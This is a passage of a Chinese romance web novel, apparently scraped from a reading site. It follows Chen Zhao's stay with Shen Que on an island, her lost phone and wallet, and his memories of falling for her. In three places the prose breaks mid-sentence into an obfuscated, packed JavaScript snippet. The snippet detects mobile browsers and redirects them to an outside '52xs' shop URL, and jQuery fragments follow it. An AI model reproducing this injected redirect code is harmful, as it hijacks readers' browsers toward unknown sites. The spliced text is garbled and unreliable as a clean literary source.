沈确狠吸一口气,然而这时,陈昭忽然转过身,白皙的掌心又伸到了沈确面前。 “钥匙。” 沈确皱着眉头,见她折返,心里咯噔了一下。 深深看了她一眼后,不情不愿地捡起走廊上的钥匙丢到她掌心里。 冷声说:“那屋子你不能住,东西太多,搬动麻烦,更何况我同事没准就会回来,你如果……” “我要的是你屋子的钥匙。” 陈昭打断他,看到沈确微怔的脸,她无端来了些兴致。 就像他说的,他们之间,早在七年前就已经说的清清楚楚了。 如果不是心中有鬼,又何惧这些? 她借住在一个熟人家,还是分开的房间,并没什么不妥。 更何况这个熟人还受她恩惠那么多年,没有自己和姑姑,就没有他的今天。 她来享受一下,又何惧? “我需要你客房的单独钥匙,就目前的情况而言,我可能会暂住几天,各方面我都会注意,不会打扰你工作。等找到更合适的地方,再搬走。” “如果你不介意,我现在搬进去。” 沈确回过神,掩下那片刻的诧异,取而代之的是此前那般随性。 他取下其中一把钥匙扔到陈昭面前。 “随你。” 撂下这句话后,沈确一直到晚上也没回来过。 陈昭花了一个下午的时间整理好这个房间。 沈确是极为自律,整洁的人,所以卫生方面她毫不费心。 之所以花一整个下午整理,是因为这房间除了一张空床,什么都没有。 她去小卖部,买了些必备的生活用品,甚至还想办法去生活超市买了一床简单的被子。 除此之外,她有每日点熏香的习惯,碍于岛上条件有限,只能买了超市老板娘的一捆香。 她点燃一根放至床尾,以檀香萦绕房间后,才觉得浑身舒爽下来。 她今天又去那家脆鱼饭餐厅吃晚饭,点了一碗素汤面。 本抱着温饱的简单想法去吃的,结果这碗素汤面却惊艳到了她。 然而老板娘见到是她,还特意给她少下了点面条,免得浪费。 以至于陈昭并没吃饱,又额外点了两碗面,一口气吃下去。 不仅如此,她还看到了老板娘现炸的葱油饼。 想当初她第一次做葱油饼,就是因为沈确。 那时她和姑姑两人带沈确从赫兹回明港时,途径程溪县,在去机场的路上,他们匆忙的吃了个早点,就是葱油饼。 那是他第一次尝到赫兹以外新鲜出炉的食物。 瞬间便爱上了。 然后就记了一辈子,以至于融入了明港后,还忘不了葱油饼的味道。某年的生日,陈昭就给他炸了整整一锅的葱油饼。 味道明明很一般,他却吃得无比香甜。 见此,陈昭特意和老板娘要了一袋子的葱油饼,除此之外,还有油条,还有炸糕。 结账时又拿了两瓶最贵的酒,一次性买单了四位数。 老板娘看她眼睛都不眨一下,讪讪问道:“你……都要吗?能吃那么多么?别撑着了,到时撑到进医院你可别来找我。” 陈昭失笑,如实说:“很好吃所以才忍不住想多吃。” 老板娘一喜,嘴角上扬,她难得被人夸一次,倒显得有些不好意思起来:“也……也没好吃到这种地步吧?” “你下次再来的话我给你送一碗。” 陈昭笑了笑,由衷谢过。 晚上她接到了赵写茹的电话。 对于陈昭这忽然“想开”的举动,她始终想不明白,但也能理解。 “你离开后,我看新丽是有些乱套,你真不打算回来?卸任是真的?” 陈昭就跟没听见她的问题似的,自顾自地说。 “这小岛环境挺好的,很安静,空气也很清新,而且我遇见了沈确。” “小马西?” 电话那头的赵写茹瞬间放下手中的合同,腾地一下从座椅上起身。 “他怎么会在那?不……你一直知道他的行踪,难道……陈昭!你别告诉我你是过去找他的?当年的事你不是早说清楚了吗?” “拜托,你到底在想什么?” 陈昭安抚她:“wait,赵女士,我并不是为他过来的。” “我只是累了,想停下来休息一下。你知道的,这么多年,我连口喘气的时间都没有,忽然就厌倦了。” 其实她和沈确的事,写茹也只知道一点点,他们两人的点滴,只有他们本人才最清楚。 所以没必要对别人多言,陈昭觉得自己能掌控。 “目前我在这里过的很开心,虽然有些小插曲,但至少心情很放松。” 赵写茹站在顶楼,俯瞰着明港的车水马龙,深吸了一口气。 “你开心就好。可是陈昭,你那双漂亮的眼睛,不要只看着过往,前方的路才更值得你看。” 陈昭淡淡一笑,轻嗯了一声。 殊不知此刻沈确已经悄然进了屋,他手里还带着两个葱油饼,想佯装不经意地放在厨房台面上。 结果刚走进,就看到一袋子的葱油饼还有油条,旁边还写着一张纸。 【味道很不错,你可以尝尝看。】 顿时沈确的瞳孔缩紧,骨节分明的手已经掐在了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641043|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 某些排山倒海的回忆如数涌来,几乎要淹没了他。 他眼睛湿润了几分,扭头盯着陈昭的房间,毫不犹豫地把那些葱油饼统统扔进了垃圾桶。 她陈昭最了不起,天塌了都能面不改色地撑着。 即便是当初她最爱的外婆去世,她都能保持镇定,不掉一滴眼泪,甚至客客气气地接待每一个来吊唁的人。 就算和自己时隔那么久再见,也能对他毫无波澜,就让他一个人兵荒马乱了那么多年。 他转身进入自己的房间,可是关门之际,又忽然想起那个冬天,他依偎在陈昭的怀里,有些害怕离开赫兹的高原,去往一个自己未知的世界。 是她看出了自己的惶恐与害怕,将他抱紧,拍着他的肩膀告诉他。 “马西,人是要往前看的,去了明港就是你重启人生的机会。” 在十七岁之前,沈确还是那个库尔马西,对于她,就像对姑姑那般满怀感激,视如至亲。 可是,自打某个夏天过后,他的某些感情,就如不可控制的水葫芦,蔓延整片心湖,肆意生长。 沈确拉开房门,把葱油饼又从垃圾桶里捡回来,打开塑料袋后一个个的吃了下去。 他和陈昭那点不可见人的丝丝缕缕关系,沈确一直深埋在心底。 因为他知道自己有错。 当初是他先生出了不该生的想法,也是他主动要留在陈昭的房间。 她非亲非故对自己那么好,将他带出泥沼,给了他重活的机会,他却心猿意马,如今他还有说明理由对她生气。 沈确咬着那干巴巴的葱油饼,想起姑姑病逝后,陈昭不顾旁人的目光,毅然将他带回了她的公寓,让他继续学习。 姑姑病逝是个意外,本该还有很长的时间,可因为那个人的提前离开,她就一病不起了。 作为姑姑领养的孩子,他并不被姑姑其他的亲戚认可。 所以姑姑一直带着他住在浅水湾外的普通住宅里。 姑姑那年五十三岁,未婚未育,虽然没说过将他当亲儿子的话,但对沈确,一直舍得付出。 她病情加重的那一年,沈确选择休学,每日陪在姑姑身边。 每天推着轮椅带她去海边走走,每天也会精心给她准备吃食。 那时陈昭也时常过来,但姑姑拒绝了请护工的想法。 “阿确照顾的可比护工好多了,我很喜欢,昭昭,他还会每天带我去暨明码头看日出,阿确去年就拿到驾驶证了,开车很稳,还有啊他厨艺也很好,学会做了我最喜欢吃的川菜。” 可姑姑离世后,她这房子要被陈氏的人收回。 那天陈昭便当着家族其他人的面,带走沈确。 她说:“姑姑视他为儿子,他就是我的亲弟弟。” “只要我在,谁也别想赶他走。” “这房子你们要收就收,并不稀罕。” 同样的决绝,不给任何人留有余地。 彼时,她已经是陈氏最有力的继承人,也是集团人人忌惮的陈总经理。 可自己让她当初信誓旦旦的“亲弟弟”,成了别人的笑话。 所以,这样的陈昭,哪有能让自己生气的理由。 她抛弃自己,划清界限,那都是他自找的。 吃到最后一个葱油饼时,沈确起身,走到门口敲响了陈昭的房门。 5. 05. 陈昭盯着响动的门板,整理好衣服后才去打开。 只见沈确将一把钥匙丢到门口的柜子上:“这是大门的钥匙,这几天我有事外出。” 说完便转身欲走,却被陈昭叫住:“沈确。” “如果因为我的到来让你有负担,不必这样。” 沈确扯出一个笑容,扭头凝视她:“没你想的那么复杂,我去办理公事。难道昭姐以为我故意躲着你?” 然而次日一早,脆鱼饭店的阁楼上,睡眼惺忪的蔡奇看着拖着行李箱,前来“办公事”的沈确一脸茫然。 “这就是你昨晚在手机里说的,要借我场的‘办公事’?” 沈确把箱子挪到一旁,也不和他客气,抢过那被子一股脑钻进被窝。 “我已经和院里申请‘闭关办事’,这几天烦请你负责我的一日三餐,就当做我借你钱的回报了。” 蔡奇顶着那鸡窝头,呵呵笑了两声,满脸无所谓地和他一起躺下,继续睡觉。 “看在你是老子金主的份上,暂且收留你。” 前些日子,蔡奇在码头附近开了家汽修店,岛上车子本就少,他拿家里的那块临街门面要开汽修,被他爸追着打了两条街。 后来政府明确指出往后小岛要发展旅游,外地车子都能上岛后,他爸才不说什么。 又因为自己缺了三万,遂找沈确借了这三万。 虽然,现在几乎每天在家睡觉,但蔡奇总觉得,只是时候未到! 就凭他的技术,赚钱毫无问题。 而另一边,陈昭看着陈列在客厅里的玻璃展柜,被里面各种鲸鱼模型吸引出神。 她以前竟然不知,沈确这么喜欢鲸鱼。 可以说,在他上大学之前,自己都没关注过他喜欢什么。 他向来乖顺懂事,每天不是在看书,就是在研究作业的路上,高考那年,陈昭还特意给他请了家教,但却被告知,他根本不需要。 名列前茅的成绩,陈昭都做好了送他出国去名校的打算。 可他坚持高考回内地,为此,他还特意罗列了他对自己未来的职业规划。 不是想象中的金融,管理,而是带着一些理想化的环境保护相关的职业路。 陈昭尊重他的选择,她坚信人生的路是自己走出来的。 更何况,当初姑姑带他回明港的目的,不是要求他成绩要多好。 只是想让他回归到正常人的生活,让他成为有自我思想,不受他人束缚,能分辨是非,也能养活自己的人。 等上大学之后,那就彻彻底底是他自己走自己的路,他人的因果,也不需要陈昭再额外介入。 在体制内,拿着稳定工资做科研也挺好的。 她用手机给那些模型拍了照片,然后换上厚一点的外套,打算再去小岛里面走一走,顺便看看有没有适合长住的地方。 然而她没想到的是,在临近月亮湾的海岸附近,她遇见了那天在巴士上给自己递毛巾的老夫妇。 老太太也看见了她,连忙招呼着她:“这不是陈小姐吗?你还没走呢?” 陈昭笑着走过去,浅说了下她想多住一些时日后,老太太也惊讶地回复她。 “你是不是也觉得这个小岛很舒服?风景特别好?” “我和我先生决定在这里买下一栋小房子,我先生是学建筑出身的,刚好可以让他施展下,你要不要和我们过去看看我们看中的小楼?” 陈昭很意外,但也很有兴趣。 这是一个独栋的三层小屋,前有厅后有院,又挨着海岸边。 虽然湿气有些重,可风景独美,地段也不错,询问下来,买下加上过户,还不到十万。 但房子有些年头,要想住人,亦或者像老太太他们说的,想要改造成民宿酒店的话,前前后后的花费可能要多出好几倍。 “我两预算有限,想着在预算内尽量简单修缮一下就好。” 陈昭看向老太太,心起了想法:“康老师,如果你们不介意的话,我可以和你们合资,所有装修款项我来出。” “我对民宿也挺感兴趣的,如果可以的话,我想再多看几家,先做个前期调研,可行的话我到时候给你们看看具体方案。” “实不相瞒,其实……我此前是做酒店相关的。最近这两天我了解到这个小岛是整个省的开发地之一,观鲸计划,便是他们的提前试水。” “不出意外的话,接下来的一年里应该有不少投资商会进小岛,趁着政府指标还没放出,私人民宿管控规矩不多,咱们先下手为强倒也不错。” 当然,陈昭知道他们老两口想开民宿肯定不是为了赚钱。 所以她便将主动权交给老两口。 “赚不赚是一回事,有一座安心的小房子在这,修身养性也很好。如果康老师你们同意我与你们合资的话,只需要给我留一间住房便好。” 老两口看陈昭年纪不大,担心她一次性拿出这么多钱有些为难。 “陈小姐,投资是门学问,我们年纪大了,钱财什么的也没那么重要。可是你不一样,装修款下去不是一笔小钱,你应该还有工作在身,还有……” “康老师,我在明港工作十几年,攒了不少钱,这点装修款还不至于让我穷途末路。” “来小岛是因为生过一场大病,忽然觉得人生很多事情,其实都没想象中的那么重要。想让自己慢下来,放松一下。” 她浅笑着说出这些话,老太太康老师好似能共情一般,紧握住她的手长叹:“是啊,很多事情都没我们想象中的那么重要。” “年轻人也要看开一些,不要给自己太大的压力了。” 于是在陈昭的几番游说下,这个民宿的想法便成立了。 陈昭做事从不拖泥带水,向来是速战速决,别说一个小小的民宿,当年新丽酒店在明港的人工棕榈岛上的竞标,上亿的项目她眼睛一眨不眨的投了下去。 为赶时间,甚至都没有与董事会开会。 以至于那会两个舅舅争相讨伐,她顶住压力,不到三年时间,新丽酒店已经成了棕榈岛上的标杆。 也是游客前往棕榈岛的首选之地。 外婆常说,陈昭做生意,是有点运气在身的,但总是看不到眼前,喜欢看远处。 其实这种更适合做投资。 但这次的小民宿,却出了点意外。 和老两口畅聊完后,她打算回屋,结果发现手机不翼而飞了。 此前的好几个小时,她和老两口走了小岛不少地方,聊得过于投入,手机也没拿出来过,甚至不知道丢去了哪。 陈昭回头按着记忆中的道路走了一遭,并没发现踪迹。 好几条都是人来人往的大路,万一丢了被人捡走也是可想而知。 而后她又回屋,打算拿出卡去附近银行时,发现钱包也不见了。 把行李箱和背包,甚至整个房间都翻过来了,也没看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641044|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的钱包所在。 有的时候,人在无语的时候真是会被气笑。 陈昭坐在床上扶额苦笑,想着自己下一步该怎么办时,屋门忽然响了动静。 她起身走去,果然看见沈确回来了。 然而刚回屋的沈确显然没想到陈昭会过来迎接自己,亮亮的双眼,仿佛在期待自己回来似的。 他觉得肯定是自己的错觉。 于是不等陈昭开口,沈确随口一说:“回来拿点东西,等会就走。” “阿确,你知道赵写茹的联系方式吗?” 一声阿确,顿时让沈确顿在原地。 他转身看去,下意识地掏出手机翻了翻,也不知道在翻什么。 见他这架势,陈昭还以为有希望了。 结果翻了大半天,他忽然来了一句:“不知道。” 陈昭:…… 她也不记得赵写茹的电话号码,准确来说,她不记得任何一个人的电话号码,除了自己和……沈确的。 但此时的情况,作为沈确的长辈,并不好意思说钱包和手机都丢了。 多冒失。 于是她想了下,借了沈确的手机:“不如借你手机登录我的平台账号用一下。” 沈确狐疑地看向她,直问:“发生什么事让你用不了自己的手机?” 陈昭并不想解释那么多。 “沈确。” 他微微皱眉,还是不情不愿地将手机递给她,但下一刻又忽然想起什么!猛地伸手想拿过来,结果屏幕已经亮起。 屏保是他和陈昭仅有的一张合照。 是他高中毕业那天,陈昭主动提出来,要拍照留影的。 沈确觉得,陈昭是世界上最漂亮的女人,从十三岁第一眼见到她,就觉得她很漂亮。 不比那会身边所见过的异性,她很干净,就像夏日的天空,纯净到没有一点瑕疵那种。 可她却不喜欢拍照,沈确从来都没有见过陈昭开放过朋友圈,发过她的任何一张照片。 他有陈昭的私人平台账号,可账号里面什么都没有。 二十岁那晚后,他会频繁去她的主页,一天可以看上二十多次,点开私信,写了删,删了写,这么多年,最终一个字都没敢发出去。 所以他也只有那张照片,甚至还打印出了很多很多张,压在自己行李箱的最下面,无论去哪里,都能带上。 那时候,陈昭于她而言,是想靠近,却又不敢靠近的存在。 他腼腆的笑着,拿过她送来的花,说着谢谢姐姐。 陈昭替他整理了穿歪的校服,然后拿出手机,礼貌地让沈确的同学掌镜。 她主动靠近沈确,纤细的小臂环住他的胳膊,偏头朝向他的这边,露出一个全世界最好看的温婉笑容。 沈确的心在那一刻好像忽然长出了根,无数的根须迅速扎入身体里,疯狂肆意的蔓延生长。 她的耳坠碰到他的脸颊,柔软的掌心温度,随着他的血液几乎要倒涌。 她身上淡淡的果香,是平日充斥在整个屋子里,时刻包裹他的香气。 在那一刻,细细密密的气味因子在同一时间无限膨胀,挤压在沈确的心里。 快门声落下后的那瞬间,沈确慌忙逃窜,抱着那束鲜花跑进了卫生间。 隔间里,他深吸着鲜花飘来的香气,呼吸粗重,直到身体那尴尬的反应平息下后,他才稳好情绪,感到害怕又自责的躲进教室。 6. 06. 这张屏保照片忽然被她发现,沈确就好像是被冷不丁偷窥到秘密的人,一把要将手机抢过去。 然而陈昭却是极快缩手,躲过他的动作。 面对这张合影屏保,她毫无反应地点进一个公共平台,熟稔地登上自己的账号。 沈确眉头微蹙,片刻间极快的稳定好自己的情绪。 陈昭给赵写茹发了条私信,但对方显然没有时间马上看到。 她也不想就此坐以待毙,最后她把目光落在了背包里的那张名片上。 那是她第一次和孟均见面时,孟均递给她的。 不过陈昭并没在意,当初随手放到那背包里,也就没管了。 几年过去,手机号应该是没变的。 于是他拿起那张名片,对着上面的号码打了过去。 此刻沈确在那光站着有点像呆子,他转身去客厅泡了杯牛奶,纠结要不要给她泡杯咖啡时,他冷不丁地听到了陈昭说出一个人的名字。 “孟均。” 他拿牛奶杯的手微微一抖,再次看过去时,陈昭已经把房门关上了。 沈确看向那杯牛奶,毫不犹豫地倒掉,又把那放在台面上的速溶咖啡丢进了垃圾桶。 他知道,陈昭一定是遇到了什么事要办,可能手机是坏了或者丢了,才不得不借他的手机和那些人联系。 可饶是这样,她也不和自己开口。 是啊,一个好姐妹,一个好丈夫,哪里还有需要用得上自己的地方。 那个叫孟均的男人,他只见过一次,那便是在他们的婚礼上。 那时他不明白,和她从未有过感情的男人,凭什么就能拥有她? 以至于婚礼的头一天晚上,沈确第一次用了姑姑的特权进入酒店,把正在试穿礼服的陈昭带出套房。 可是不等他开口,陈昭冷冷地看过去,什么也没说,单单一个眼神,就让沈确溃败。 富丽堂皇的酒店里,他认知到自己的无能为力,认知到自己的渺小,甚至怯弱。 他不敢承认,也不愿承认,陈昭对他没有半点心思。 时隔多年,沈确以为自己早就接受了她已婚的事实,可真正亲耳听见她用自己的手机去联系她的丈夫,去喊她丈夫的名字,分分秒秒,对他而言都是凌迟一般的存在。 他等到屋内没了声音,沈确推门而入,学着陈昭那般,冲她冷漠地伸手,要回手机。 彼时的陈昭,脸色平静地把手机递到他掌心。 正要开口,沈确却打断她的话,目光轻抬,带着些许猎豹般地警示感,压迫,又暗含怒意。 “西沉岛这地并不适合你呆,还是早点让姐夫接你回明港的好。” 撂下这话后,也不顾陈昭要说什么,毫不犹豫地扭头离开。 房门“砰”的一声被带上,连带着玻璃窗也发出一些声响。 陈昭凝视了门板好一会,苦涩一笑,从背包里拿出姑姑的一块怀表。 表面是姑姑年轻时的一张照片。 看着照片的陈昭心想着,姑姑在她面前总是说沈确有多懂事,多听话,多温和,小小年纪情绪稳定到可以用老成来形容。 可是现在,怎么还越来越不一样了?就像……刺猬。 可能那些刺是自己安上去的吧。 陈昭知道,即便再如何去缓和两人的关系,七年前的那一晚,是永远的裂痕。 刚刚他给孟均打电话,本想着通过他联系写茹,让她帮忙解决下困境,然而电话刚接通,她还没说两句话,就听到电话里一个女人娇嗔的声音,在感谢他泡的咖啡。 陈昭不想打扰,索性挂了电话,并没说自己遇上困境的事。 她和孟均之所以离婚,并不是别人猜测的那般,谁出轨,谁劈腿,亦或者感情消失。 只有他们两人知道,离婚,是对彼此最好的选择。 无论是从个人情感层面,还是从双方事业上,离开彼此,在法律层面上解绑,才能让那些记者,那些长辈们消停下来,让他们两人都能喘一口气。 当然,陈昭内心深处还有一个重要的因素,迫使她必须离婚。 但她不敢摆到明面上,甚至不敢自己多想一遍。 只希望这个秘密,像断线的风筝,永远回不到原点。 由于挂了这通电话,陈昭决定明天离岛,去聆海市区办理一下各类银行卡业务,包括身份证,手机等问题。 离岛出行,是需要现金的。 陈昭手上现金不多,她又不想麻烦沈确,更何况现在也不知道他去哪里办公事了。 思来想去,就近找到了脆鱼饭店,点了一碗素面后,将自己的一个翡翠镯子押在柜面上。 老板娘芬姐一脸愕然地打量着她,得知她说要用这镯子抵押,换2000的现金后,一脸狐疑看向镯子。 又连连摆手:“我们这不是典当行,再说我也不晓得你的这东西是真是假,这两千我不出。” 陈昭耐心说道:“老板娘,我的确是因为手机钱包都丢了,要去市区解决下问题。这个镯子很值钱,你看成色光泽就知道。” “当然,如果两千不行的话,五百也可以。” 如果有一天老太太知道自己把她那价值两千万的玉镯,变成抵押物换取了五百人民币,不知道她是不是气得要掀开棺材板。 就在这时,身后一道声音忽然出现。 “陈小姐。” 陈昭回头,看到杨指导笑眯眯地朝他走来,没戴眼镜的他照样还是一副儒雅高知的样子。 他刚刚听到了陈昭的诉求,果断出手替她解围。 “我刚好要去聆海市区,不如送你?” 说完又把镯子放到陈昭手里,笑着说:“芬姐可不做典当生意。” “你是因为体验我们的观鲸活动而来,现在损失这么多,我这心里也有些愧疚,你要多少我先借给你。” 上次和杨指导在研究院的食堂聊得挺好,现下见他愿意帮忙,陈昭再感谢不过。 便顺着他的意思,坐他的车,上轮渡离岛。 而另一边,脆鱼饭店的阁楼上,交完报告的沈确,目光又落到了自己手机的屏保上。 这时楼梯间忽然传来吵吵闹闹的声音。 是蔡奇发现住在三楼的妹妹周竹君多了一个新手机。 当即以为她又偷摸着拿她妈妈的手机给那黄毛小子打榜,小小年纪追星追到脑子都烂了吧! 气得一把抢过她那手机,骂骂咧咧了起来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641045|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你小子胆儿不小啊,我要告诉你妈去!” “诶!诶哥,哥你神经啊,快给我!” 周竹君冲上前,却被蔡奇一个泥鳅滑躲开,被追到楼上,在距离沈确办公只有一墙之隔的楼梯间嚷嚷起来。 “哎呀你快还给我,这又不是我妈的手机,这是我捡的,我捡的!” “你捡的?我怎么就没捡过手机呢?” 蔡奇翻了个白眼,高高的举起手机跑进屋子,警告她:“诶诶诶你别进来啊,你家确哥可是在换衣服,你知不知羞啊!” “蔡奇!你讨厌!” 周竹君小姑娘一个,一听见沈确在换衣服,一脚踢到蔡奇膝盖上扭头就跑下楼。 “反正手机我捡的,等会让我妈拿去村委广播找失主!” 话音一落,蔡奇手里的手机不慎滑落,砸在沈确的笔记本上。 如命运一般,恰好不好的,手机屏保亮起来。 陈昭温婉又大气的模样顿时进入沈确的视线。 他眉眼微动,下意识拿起手机,亮起的屏幕上,是陈昭和姑姑,还有陈家老太太三人的合影。 也是沈确唯二见过的,陈昭的照片。 照片上穿着的这条黑色礼裙,还是那年自己挑选的。 沈确有些意外,也不由自主地想起那日,他被陈昭从姑姑的屋子接回她公寓。 那时他是惶恐又局促的。 不知道该怎么和陈昭相处,只知道昭姐不同姑姑那般好说话,也并没有姑姑那么亲切。 而且她很忙,哪怕两人在同一个屋檐下,一天下来都难得说上两句话。 她每天有开不完的会,处理不完的文件,打不完的电话。 沈确看得最多的,便是陈昭站在书房玻璃窗前的背影,透过玻璃反光,他隐隐看到陈昭冷静,不言苟笑的模样。 但那一天,她好像有些不一样。 他接到陈昭的电话,并且给了他一个地址,让沈确开她的车去明港大王山的私人山庄接她。 也许那天是个酒局,接到陈昭后,她浑身的酒气,但并没有醉到不省人事,只是沉默地坐在后座,揉着眉心。 沈确那会虽然刚考上驾照一年,但开车已经十分熟练。 他时不时地从后视镜里观察陈昭的情况,担心她会不会太难受。 然而陈昭除了脸红之外,一切都很正常,甚至还有心思问他。 “阿确,你休学一年,明天去学校能跟上进度吗?” “如果有些吃力,不用勉强,可以请家教。” 沈确正要回话,陈昭忽然毫无预兆地吐了出来。 他连忙把车停到路边,简单地替她处理一下后,干脆去旁边的百货商场买了一条最顺眼的裙子。 是用他偷偷做兼职赚来的钱买的。 那时的他,是真心感激她和姑姑。 他拿着裙子递到陈昭面前:“昭姐,你先换上干净的衣服,等会我……” 然而他还没说完,陈昭直接扯开她身上的裙子吊带,露出胸前一片。 沈确大吃一惊,脑子轰然一声,忙不迭地赶紧背过身去,手心发抖地将车门紧紧关上! 砰的那一声,也没比得过他那一刻惊心动魄的心跳。 7. 07. 他把车无意停在了明港的江岸边,左边是霓虹闪烁的繁华商夏,右边则是星星点点的江河公园。 面向港口最繁华的地段,还有烟花从那个方向传来。 一声接着一声,一时间他有点分不清自己的心跳和烟火的响动。 直到车门被开,抵到他的后背,沈确才连忙端正身体,收回蔓延到边际的思绪,认认真真地看向陈昭关心道。 “昭姐,你还好吗?” 彼时陈昭已经换上了干净的衣服,她把那条脏污的裙子随手扔在了街边。 但那条裙子穿的乱七八糟,脑袋套进了肩带里。沈确想为她整理,可伸手在距离触及她肌肤的那一厘米时,心跳如擂鼓,最终还是收回了手。 他规规矩矩地捡起脏衣服放到后备箱,重新走回车门处,陈昭直直的看向他说:“去暨明码头,看看日出。” 沈确从来都是温顺听话的,陈昭说什么,那就是什么。 她想看暨明码头的日出,想必是思念刚过世不久的姑姑。 这触及到沈确心内的柔软,他扶着陈昭折回后座,替她系上安全带后,便将车开去了暨明码头。 初夏的明港早就热浪一片了。 那晚,陈昭竟然从她的车子后备箱里拿出了一块野餐垫,放到海滩上就地睡下。 不管沈确说什么都毫无反应。 无奈之下,沈确只好陪着一起躺下。 明明是自然而然的动作,却因为不经意地触碰她的手肘,让准备躺下来的沈确忽然停止了动作。 他上半身悬在空中,顿了一会后还是起身,独自坐在柔软的沙滩上,靠着石头将就了一晚。 他们看到了日出。 凌晨四点,天边泛起了鱼肚白,然而垂直往上的头顶处,还是满天的深蓝。 海岸线上的亮光伴随着早霞缓缓而起,陈昭光着脚站到了海浪与沙滩交接的地方,融入日出的背景。 那个带着孤寂,却又好看到惊艳的背影,就此在沈确的心里记下烙印。 那时,她穿着的就是照片上的这条裙子。 是自己送给她的第一个礼物,也是……沈确第一次动心的时候。 也许就是那个时候,他对昭姐的心思,开始了变化。 沈确是这样猜测的。 然而此刻陈昭的手机,却命运般的回到自己的手里。 这不得不让他好奇,所以他看向蔡奇:“手机怎么在你这?” 蔡奇一瞧,八卦心起:“你认识这手机主人啊?我刚刚瞄了一眼,这手机屏保上是三个女的,都是大美女啊!” 他还想伸长脖子看一看,却被沈确一掌拍到一边去。 “我的确认识,手机我来还给她。” 蔡奇啧啧两声,意味深长地打量着他:“我说哥,这几天你可是奇怪的很啊,到底遇着啥事了?和我说说呗?” “你昨天晚上回来那样子就跟要吃了我似的!我可一句话不敢多问。现在看到这手机,怎么反倒觉的你心情好了?是不是和手机的主人有关?” 沈确收起手机,同时也帮蔡奇收起他的八卦心。 然而就在这时,手机响了一声,他低头看去,屏幕上来了一条备注为孟均的消息。 【等你回明港我接你。】 信息很短,一行字的距离足以看全部。 沈确沉默地按了关机键,重新打开了他的报告书。 不过他滑动鼠标的频率越来越高,似是很不满,这种平静的疯感持续了很长时间,以至于让蔡奇心里尤为不安。 他皱着眉头从柜子里拿出一罐八宝粥,正要递过去讨好试问,沈确忽然起身下楼。 “哥,哥你去哪啊?” …… 陈昭回到西沉岛已经是傍晚了。 整整一个白天,她跑了几家银行,跑了派出所,打了无数个电话,把该补办,该挂失的几张银行卡都处理完毕后,又去临时买了一台手机,把电话卡也给补上了。 他对聆海市区不熟,多亏了杨硕,才能在一天之内把这些事都办好。 本想请杨硕吃个晚饭,但杨硕却说岛上一家咖啡店的咖喱皮皮虾饭包很好吃,他很想吃那口了。 陈昭惊讶还有咖啡馆,毕竟前两天她在岛上并没有看到什么时髦的店铺。 就连芬姐那家脆鱼饭店,都是她看着最大的餐馆了。 杨硕一听,笑道:“小岛上还有很多隐秘的地方,我要是有时间就联系你,我带你去转转。” “虽然说小岛还没正式对外开放旅游,但现在也有一些外来客,开客栈,开咖啡酒馆,开清酒吧,只是数量少而已。” 陈昭微微一笑:“改日我去看一看。” 上岛之后,杨硕带她去了一处她没到过的海滩边。 高树下有几间移动的小屋,上面写着小卖部,快餐厅,以及……那间最有特色,外形是一个香蕉的咖啡小店。 杨硕喜欢吃的咖喱皮皮虾饭包,味道也的确不错。 反正比脆鱼饭是要好吃很多,也可以改善她这几日来的素面胃了。 殊不知,不远处的浅海处,蔡奇端着八宝粥,像只横走的螃蟹似的满脸兴奋地跑到海水处,一手拉过沈确。 “你上司,杨指导,他谈恋爱了!!” 沈确浑身湿漉,他抹了一把脸,皱着眉头看过去。那眼睫,头发,全部在滴水。 不等他开口,蔡奇拉着他来到一棵树后,指着咖啡小屋前面的两个背影,激动道。 “看见没?我确定我没见过那女的,杨指导刚刚和她吃了饭,还贴心的给她倒水!那人,大美女啊!大美女!” “杨指导单身老汉,三十七八了都没个老婆,我就觉得肯定有鬼,原来是藏着这么大的美人呢,我去!你领导真是深藏不露,真是……诶,诶你去哪?!” 沈确墨黑的双眸凝视他,却又懒得和他废话。 因为他一眼就看出那个背影是陈昭。 他现在可是在外面办公的人。 然而没走几步,杨指导竟叫住他:“沈确!” “你怎么回来了?你不是去学校帮张教授送资料,协助开辅导会么?这么快搞定了?” 此刻的陈昭,一脸沉静地看着沈确。 净短的碎发湿透一片,上身只穿着一件黑色的背心,平时看似轻薄的身子却是线条锋利。 在他身上,反差,矛盾被体现的淋漓尽致。 陈昭曾在一次画展上看到过一张男性的人体画。 当时她就想到了沈确。 釉面白瓷,温润剔透。 越长大,就越像无暇的白瓷瓶,纤瘦俊逸。 不得不说,他天生的外形条件,是老天爷赏饭吃。 赫兹地区的少数民族,是唯一的白种人。 虽然高原紫外线强,很多本地人都被晒的看不出原本的肤色,但十三岁的库尔马西,除了脸以外的地方,都白白净净。 